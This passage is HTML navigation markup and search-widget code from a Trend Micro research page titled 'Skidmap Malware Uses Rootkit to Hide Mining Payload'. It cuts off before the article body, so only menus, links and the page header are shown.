</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-saas-apps" href="/en_gb/business/capabilities/solutions-for/cloud.html">
	SaaS Applications
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Internet of Things (IoT)</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-ics-ot" href="/en_gb/business/solutions/iot/ics-ot.html">
	ICS / OT 
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-connected-car" href="/en_gb/business/solutions/iot/connected-car.html">
	Connected Car
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-5g-enterprise" href="/en_gb/business/solutions/iot/enterprise-5g-iot.html">
	5G Security for Enterprises
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-solutions-risk">Risk Management</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-ransomware" href="/en_gb/business/capabilities/solutions-for/ransomware.html">
	Ransomware
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-end-support-systems" href="/en_gb/business/capabilities/solutions-for/end-of-support-systems.html">
	End-of-Support Systems
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-compliance" href="/en_gb/business/capabilities/solutions-for/compliance.html">
	Compliance
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-detection-response" href="/en_gb/business/products/detection-response.html">
	Detection and Response
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-solutions-industries">Industries</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-healthcare" href="/en_gb/business/capabilities/solutions-for/healthcare.html">
	Healthcare
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-manufacturing" href="/en_gb/business/solutions/iot/ics-ot.html">
	Manufacturing
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-oil-and-gas" href="/en_gb/business/solutions/iot/ics-ot.html">
	Oil &amp; Gas
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-electric-utility" href="/en_gb/business/solutions/iot/ics-ot.html">
	Electric Utility
	
</a>

</div>

</div>
	</div>
</div>

</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Why Trend Micro
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-2" aria-haspopup="true" aria-expanded="false">
						Why Trend Micro
					</button>
					<div class="dropdown-menu" id="nav-dropdown-2">
						<div class="responsiveColumnControl section">

<style>>
#responsive-column-f2547bef-31a8-4379-a5e6-996845fe3ada {
	margin-top:0;
	padding-top:0;
	padding-bottom:0;
	margin-bottom:40px;
}
</style>



<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-f2547bef-31a8-4379-a5e6-996845fe3ada">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="white left-align show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red" id="b-nav-why-trend" href="/en_gb/about/why-trend-micro.html">The Trend Micro Difference</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-c4c40607-ff1b-4650-82f5-18aaaddffa71">
	<div class="col-sm-4 col-xs-12 col-md-4 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-why-customer-successes" href="/en_gb/about/customer-stories.html">
	Customer Successes
	
</a>

</div>

</div>

	<div class="col-sm-4 col-xs-12 col-md-4 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-why-strategic-alliances" href="/en_gb/partners/explore-alliance-partners.html">
	Strategic Alliances
	
</a>

</div>

</div>

	<div class="col-sm-4 col-xs-12 col-md-4 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-why-industry-leadership" href="/en_gb/about/awards.html">
	Industry Leadership
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>
</div>

</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Research
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-3" aria-haspopup="true" aria-expanded="false">
						Research
					</button>
					<div class="dropdown-menu" id="nav-dropdown-3">
						<div class="responsiveColumnControl section">

<style>>
#responsive-column-7d4f7740-2f82-4199-b0af-d5c0e8ee7eb0 {
	margin-top:0;
	padding-top:0;
	padding-bottom:0;
	margin-bottom:40px;
}
</style>



<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-7d4f7740-2f82-4199-b0af-d5c0e8ee7eb0">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="gray left-align-full show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Research</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-786f2aba-6839-4d1e-9816-6c68afe79552">
	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-about" href="/en_gb/about/threat-research.html">
	About Our Research
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-analysis" href="https://www.trendmicro.com/vinfo/gb/security/research-and-analysis/">
	Research and Analysis
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-news-perspectives" href="/en_gb/research.html">
	Research, News and Perspectives
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-sec-reports" href="https://www.trendmicro.com/vinfo/gb/security/research-and-analysis/threat-reports">
	Security Reports
	
</a>

</div>

</div>

	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-security-news" href="http://www.trendmicro.com/vinfo/gb/security/news/">
	Security News
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-research-zero-day-initiative" href="https://www.zerodayinitiative.com/about/" rel="noopener noreferrer" target="_blank">
	Zero Day Initiative (ZDI)
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-simply-security-blog" href="/en_gb/research.html">
	Blog
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Research by Topic</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-topics-vulnerabilities" href="https://www.trendmicro.com/vinfo/gb/threat-encyclopedia/vulnerability">
	Vulnerabilities
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-topics-annual-predictions-21" href="https://www.trendmicro.com/vinfo/gb/security/research-and-analysis/predictions/2022">
	Annual Predictions
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-topics-deep-web" href="https://www.trendmicro.com/vinfo/gb/security/threat-intelligence-center/deep-web/">
	The Deep Web
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-topics-iot" href="https://www.trendmicro.com/vinfo/gb/security/threat-intelligence-center/internet-of-things/">
	Internet of Things (IoT)
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Resources</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-3fb0463b-5703-4de5-a047-9ddae86516e9">
	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-devops" href="/en_gb/devops.html">
	DevOps Resource Center
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-ciso-center" href="/en_gb/ciso.html">
	CISO Resource Center
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-what-is" href="/en_gb/what-is.html">
	What is?
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-encyclopedia" href="https://www.trendmicro.com/vinfo/gb/threat-encyclopedia/">
	Threat Encyclopedia
	
</a>

</div>

</div>

	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-cloud-health" href="http://trendmicro.com/public-cloud-risk-assessment" rel="noopener noreferrer" target="_blank">
	Cloud Health Assessment
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-cyber-risk" href="/en_gb/security-intelligence/breaking-news/cyber-risk-index.html">
	Cyber Risk Assessment
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-enterprise-guide" href="https://www.trendmicro.com/vinfo/gb/security/threat-intelligence-center/security-strategies-for-enterprises">
	Enterprise Guides
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-research-resources-glossary" href="https://www.trendmicro.com/vinfo/gb/security/definition/a">
	Glossary of Terms
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>
</div>
<div class="featuredCampaign">
<div class="featured-campaign">
	<!--Media Container-->
	<div class="featured-campaign--media-container">
		<!--Featured Title-->
		<h5 class="featured-campaign--title title-color-red">Project 2030</h5>

		<!--Feature Image-->
		<figure class="featured-campaign--image-container">
			<a id="b-nav-research-promo-2030-64514d-img" target="_blank" href="https://2030.trendmicro.com">
				<img src="/content/dam/trendmicro/global/en/global/navigation/project-2030-nav-banner.jpg" alt="Project 2030"/>
			</a>
		</figure>
	</div>
	<!--Text Container-->
	<div class="featured-campaign--text-container">
		<!--RTE-->
		<div class="featured-campaign--rich-text richText">


	<p>How will the world of cybersecurity evolve by 2030?</p>
<p>Let’s take a look at what the future holds. </p>


</div>

		<!--Featured Link-->
		<div class="featured-campaign--link">
			<a id="b-nav-research-promo-2030-64514d" target="_blank" href="https://2030.trendmicro.com">
				Explore our expert video series
				<!--Link Icon (Chevron Right)-->
				<span class="icon-chevron-right"></span>
			</a>
		</div>
	</div>
</div>
</div>
</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Services &amp; Support
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-4" aria-haspopup="true" aria-expanded="false">
						Services &amp; Support
					</button>
					<div class="dropdown-menu" id="nav-dropdown-4">
						<div class="responsiveColumnControl section">

<style>>
#responsive-column-88a21259-aea1-4c4a-b3f6-95be26b7a78e {
	margin-top:0;
	padding-top:0;
	padding-bottom:0;
	margin-bottom:40px;
}
</style>



<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-88a21259-aea1-4c4a-b3f6-95be26b7a78e">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="white left-align-content show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red">Services</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-services-service-one" href="/en_gb/business/services/service-one.html">
	Service Packages
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-services-managed-xdr" href="/en_gb/business/services/managed-xdr.html">
	Managed XDR
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-services-support-services" href="/en_gb/business/services/support-services.html">
	Support Services
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-support-business-support" href="https://success.trendmicro.com/business-support" rel="noopener noreferrer" target="_blank">Business Support</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-8979eba6-7b9d-4ccd-817f-269007268ed7">
	<div class="col-sm-4 col-xs-12 col-md-4 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-log-in" href="https://success.trendmicro.com/sign-in" rel="noopener noreferrer" target="_blank">
	Log In to Support
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-tech-support" href="https://success.trendmicro.com/technical-support" rel="noopener noreferrer" target="_blank">
	Technical Support
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-support-virus-threat-help" href="https://success.trendmicro.com/virus-and-threat-help" rel="noopener noreferrer" target="_blank">
	Virus &amp; Threat Help
	
</a>

</div>

</div>

	<div class="col-sm-4 col-xs-12 col-md-4 column"><div class="navLink section">
<a class=" text-color-" id="b-nav-support-renewals-registration" href="https://success.trendmicro.com/renewals-and-registration" rel="noopener noreferrer" target="_blank">
	Renewals &amp; Registration
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-education-certification" href="https://www.trendmicro.com/en_gb/business/products/support-services/education.html" rel="noopener noreferrer" target="_blank">
	Education &amp; Certification
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-contact-support" href="https://success.trendmicro.com/contact-support-europe" rel="noopener noreferrer" target="_blank">
	Contact Support
	
</a>

</div>

</div>

	<div class="col-sm-4 col-xs-12 col-md-4 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-downloads" href="/en_gb/business/products/downloads.html">
	Downloads
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-support-free-cleanup-tools" href="https://success.trendmicro.com/virus-and-threat-help#threat-removal" rel="noopener noreferrer" target="_blank">
	Free Cleanup Tools
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-support-find-support-partner" href="/en_gb/partners/find-a-partner.html">
	Find a Support Partner
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red">For Popular Products</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-ff8cc836-0568-4410-a42f-15f7e22457b1">
	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-" id="b-nav-support-deep-security" href="https://success.trendmicro.com/product-support/deep-security-10-0" rel="noopener noreferrer" target="_blank">
	Deep Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-support-apex-one" href="https://success.trendmicro.com/product-support/apex-one" rel="noopener noreferrer" target="_blank">
	Apex One
	
</a>

</div>

</div>

	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-worry-free" href="https://success.trendmicro.com/product-support/worry-free-business-security" rel="noopener noreferrer" target="_blank">
	Worry-Free
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-support-worry-free-renewals" href="https://orp.trendmicro.com/EMEAORP" rel="noopener noreferrer" target="_blank">
	Worry-Free Renewals
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>
</div>

</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Partners
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-5" aria-haspopup="true" aria-expanded="false">
						Partners
					</button>
					<div class="dropdown-menu" id="nav-dropdown-5">
						<div class="responsiveColumnControl section">





<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-b4fb807a-6702-4fa1-944b-4a3ab3f929fd">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="gray left-align-content show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Channel Partners </a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-f2b4459b-3da4-4000-9c1e-efac2ca5b0d1">
	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-overview" href="/en_gb/partners/channel-partners.html">
	Channel Partner Overview
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-managed" href="/en_gb/partners/managed-service-provider/europe/resource-center.html">
	Managed Service Provider
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-cloud" href="/en_gb/partners/channel-partners/cloud-service-provider.html">
	Cloud Service Provider
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-professional" href="/en_gb/partners/channel-partners/professional-services-partner.html">
	Professional Services
	
</a>

</div>

</div>

	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-resellers" href="/en_gb/partners/channel-partners/resellers.html">
	Resellers
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-marketplace" href="/en_gb/partners/channel-partners/marketplace.html">
	Marketplace
	
</a>

</div>
<div class="ghost section">

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-channel-system" href="/en_gb/partners/channel-partners/systems-integrator.html">
	System Integrators
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Alliance Partners</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-alliance-overview" href="/en_gb/partners/alliance-partners.html">
	Alliance Overview
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-alliance-technical" href="/en_gb/partners/alliance-partners/technology.html">
	Technology Alliance Partners
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-alliance-explore" href="/en_gb/partners/alliance-partners/explore-alliance-partners.html">
	Our Alliance Partners
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Tools and Resources</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-e95c2a56-747a-4fe7-b6aa-f77acc4f5ad0">
	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-tools-find" href="/en_gb/partners/find-a-partner.html">
	Find a Partner
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-tools-education" href="/en_gb/business/products/support-services/education.html">
	Education and Certification
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partner-tools-stories" href="/en_gb/partners/partner-stories.html">
	Partner Successes
	
</a>

</div>

</div>

	<div class="col-sm-6 col-xs-12 col-md-6 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-tools-distributors" href="/en_gb/partners/distributors.html">
	Distributors
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-partners-tools-login" href="https://community-trendmicro.force.com/Partner" rel="noopener noreferrer" target="_blank">
	Partner Login
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>
</div>

</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Company
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-6" aria-haspopup="true" aria-expanded="false">
						Company
					</button>
					<div class="dropdown-menu" id="nav-dropdown-6">
						<div class="responsiveColumnControl section">

<style>>
#responsive-column-04bb7a9f-8426-46d9-80f0-02d3727fc1be {
	margin-top:0;
	padding-top:0;
	padding-bottom:0;
	margin-bottom:40px;
}
</style>



<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-04bb7a9f-8426-46d9-80f0-02d3727fc1be">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="white left-align show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red" id="b-nav-company-overview" href="/en_gb/about.html">Overview</a>
</div>
		<div class="parsys navColumnItems"><div class="responsiveColumnControl section">





<div class="row
			
			global-margin-top-default global-padding-top-default global-padding-bottom-default global-margin-bottom-default" id="responsive-column-d44febff-af95-46aa-8c7e-622bcb1dcc56">
	<div class="col-sm-3 col-xs-12 col-md-3 column"><div class="navLink section">
<a class=" text-color-" id="b-nav-company-leadership" href="/en_gb/about/leaders.html">
	Leadership
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-customer-success" href="/en_gb/about/customer-stories.html">
	Customer Success Stories
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-alliance-partners" href="/en_gb/partners/alliance-partners.html">
	Strategic Alliances
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-industry-accolades" href="/en_gb/about/industry-recognition.html">
	Industry Accolades
	
</a>

</div>

</div>

	<div class="col-sm-3 col-xs-12 col-md-3 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-newsroom" href="/en_gb/about/newsroom.html">
	Newsroom
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-company-webinars" href="/en_gb/about/webinars.html">
	Webinars
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-company-events" href="/en_gb/about/events.html">
	Events
	
</a>

</div>

</div>

	<div class="col-sm-3 col-xs-12 col-md-3 column"><div class="navLink section">
<a class=" text-color-" id="b-nav-company-security-experts" href="/en_gb/about/leading-experts.html">
	Security Experts
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-company-careers" href="/en_gb/about/careers.html">
	Careers
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-history" href="/en_gb/about/history-vision-values.html">
	History
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-company-corp-social-responsibility" href="/en_gb/about/corporate-social-responsibility.html">
	Corporate Social Responsibility
	
</a>

</div>

</div>

	<div class="col-sm-3 col-xs-12 col-md-3 column"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-diversity-inclusion" href="/en_gb/about/diversity-inclusion.html">
	Diversity, Equity &amp; Inclusion
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-trust-center" href="/en_gb/about/trust-center.html">
	Trust Center
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-company-internet-safety-cyber-ed" href="/en_gb/initiative-education.html">
	Internet Safety and Cybersecurity Education
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-investors" href="/en_us/about/investor-relations.html">
	Investors
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-company-legal" href="/en_gb/about/legal.html">
	Legal
	
</a>

</div>

</div>
</div>
</div>

</div>
	</div>
</div>

</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
		
		<div class="dropdown search-dropdown">
			<button class="search-button hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="icon-search-thin"></span>
			</button>
			<div class="dropdown-menu utility-search-target">
				<script type="text/javascript" src="//customer.cludo.com/scripts/bundles/search-script.js"></script>
				<script type="text/javascript">
					var CludoSearch;
					var cludo_language = '';

					switch( window.utag_data.language_code )
					{
						// Cludo dropped the ball on this one
						case 'ja_jp':
							cludo_language = 'jp';
							break;
						case 'in_id':
							cludo_language = 'id';
							break;
						default:
							cludo_language = window.utag_data.language_code.substring( 0, 2 ); // First two letters are the language
							break;
					}

					$(document).ready( function() {
						var cludoSettings = {
							customerId: 296,
							engineId: 1798,
							searchUrl: "/content/trendmicro/en_gb/common/cse.html",
							searchInputs: ["cludo-search-form","cludo-search-form-mobile","cludo-search-content-form"],
							initSearchBoxText: "",
							language: cludo_language,
							endlessScroll: {stopAfterPage:3, resultsPerPage:10, bottomOffset: 145},
							translateSearchTemplates: true,
							loading: "<div class='loader'></div>"
						};

						CludoSearch= new Cludo(cludoSettings);

						CludoSearch.translateProvider.translations[cludo_language]["category_header"] = Granite.I18n.get( "Show" );
						CludoSearch.translateProvider.translations[cludo_language]["your_search_on"] = Granite.I18n.get( "Showing results for" ) + " <span class='highlight'>{{value}}</span> ";
						CludoSearch.translateProvider.translations[cludo_language]["total_results"] = "";
						CludoSearch.translateProvider.translations[cludo_language]["total_result"] = "";
						CludoSearch.translateProvider.translations[cludo_language]["in_category"] = "";
						CludoSearch.translateProvider.translations[cludo_language]["results"] = Granite.I18n.get( "results" );
						CludoSearch.translateProvider.translations[cludo_language]["sort_by"] = Granite.I18n.get( "Sort By" ) + ":";
						CludoSearch.translateProvider.translations[cludo_language]["date"] = Granite.I18n.get( "Date" );
						CludoSearch.translateProvider.translations[cludo_language]["relevance"] = Granite.I18n.get( "Relevance" );
						CludoSearch.translateProvider.translations[cludo_language]["all_results"] = Granite.I18n.get( "All results" );

						CludoSearch.init();
					});
				</script>
				<form class="main-menu-search" aria-label="Search Trend Micro">
					<div class="main-menu-search__field-wrapper" id="cludo-search-form">
						<table cellspacing="0" cellpadding="0" class="gsc-search-box" style="width:100%">
							<tbody>
								<tr>
									<td class="gsc-input">
										<input type="text" size="10" class="gsc-input" name="search" title="search" placeholder="Search Trend Micro"/>
									</td>
								</tr>
							</tbody>
						</table>
					</div>
				</form>
				<button type="button" class="close" aria-label="Close"><span aria-hidden="true">&times;</span></button>
			</div>
		</div>
		<div class="utilityMenu utilityMenu-mobile hidden visible-xs visible-sm">
			<nav class="utilityMenu__wrapper" id="utilityMenu-mobile-wrapper"></nav>
			<div class="collapse-items-container"></div>
		</div>
	</div>
	<div class="search-mobile-wrapper collapse dont-collapse-flex-md hidden-md hidden-lg" id="search-mobile-wrapper">
		<form class="main-menu-search" aria-label="Search Trend Micro">
			<div class="main-menu-search__field-wrapper" id="cludo-search-form-mobile">
				<table cellspacing="0" cellpadding="0" class="gsc-search-box" style="width:100%">
					<tbody>
						<tr>
							<td class="gsc-input">
								<input type="text" size="10" class="gsc-input" name="search" title="search" placeholder="Search Trend Micro"/>
							</td>
							<td class="gsc-search-close collapsed" style="width:1%;" data-target="#search-mobile-wrapper" data-toggle="collapse">
								<span class="icon-close"></span>
							</td>
						</tr>
					</tbody>
				</table>
			</div>
		</form>
	</div>
</div>

</nav>
			</div>
		</div>
		<!-- Sticky Nav -->
		<div class="stickyNav">


<div class="page-nav-wrapper">
	<div class="inner-wrapper">
		<!-- Sticky Nav - Article and Author Pages -->
		
    <!-- Page Properties Container -->
    <div class="page-properties-container">
        <div class="back-caret">
            <a href="https://www.trendmicro.com/en_gb/research.html">
                <span class="icon-chevron-left"></span>
            </a>
        </div>
        <div class="display-tag">
            
                <a href="https://www.trendmicro.com/en_gb/research.html?category=trend-micro-blogs:threats/cyber-threats">Cyber Threats</a>
            
        </div>
        <div class="page-title">Skidmap Malware Uses Rootkit to Hide Mining Payload</div>
    </div>

    <!-- AddThis Container -->
    <div class="addthis_toolbox addthis_default_style">
        <a class="addthis_button_compact addthis_link" href="#">
            <img src="/etc.clientlibs/trendresearch/clientlibs/clientlib-trendresearch/resources/img/share-more.svg" class="addthis-icon" alt="Share"/>
        </a>
        <a class="addthis_button_print addthis_link" title="Print" href="#" tabindex="1000">
            <img src="/etc.clientlibs/trendresearch/clientlibs/clientlib-trendresearch/resources/img/printer.svg" class="addthis-icon" alt="Print"/>
        </a>
        <div class="atclear"></div>
    </div>

    <!-- Subscribe Container -->
    <div class="subscribe">
        
    </div>

	</div>
</div>
</div>
	</div>
	<section class="folder-indicators slider">
		<div class="folder-indicators__wrapper">
			<p class="folder-indicators__title">Content added to Folio</p>
			<div class="folder-indicators__button-wrapper">
				<button class="folder-indicators__button counter" id="counter-folder">
					Folio (<span>0</span>)
				</button>
				<button class="folder-indicators__button close">close</button>
			</div>
		</div>
	</section>
</div>
</div>
<div class="root responsivegrid">


<div class="aem-Grid aem-Grid--12 aem-Grid--default--12 ">
    
    <div class="articleBodyNoHero aem-GridColumn aem-GridColumn--default--12"><div class="research-layout article container" role="contentinfo">
    <article class="research-layout--wrapper row" data-article-pageID="1849059548">
        <div class="col-xs-12 col-md-12 one-column">
            <div class="col-xs-12 col-md-12">
                <div class="article-details" role="heading">
	<span class="article-details__bar" role="img"></span>
	<p class="article-details__display-tag">Cyber Threats</p>
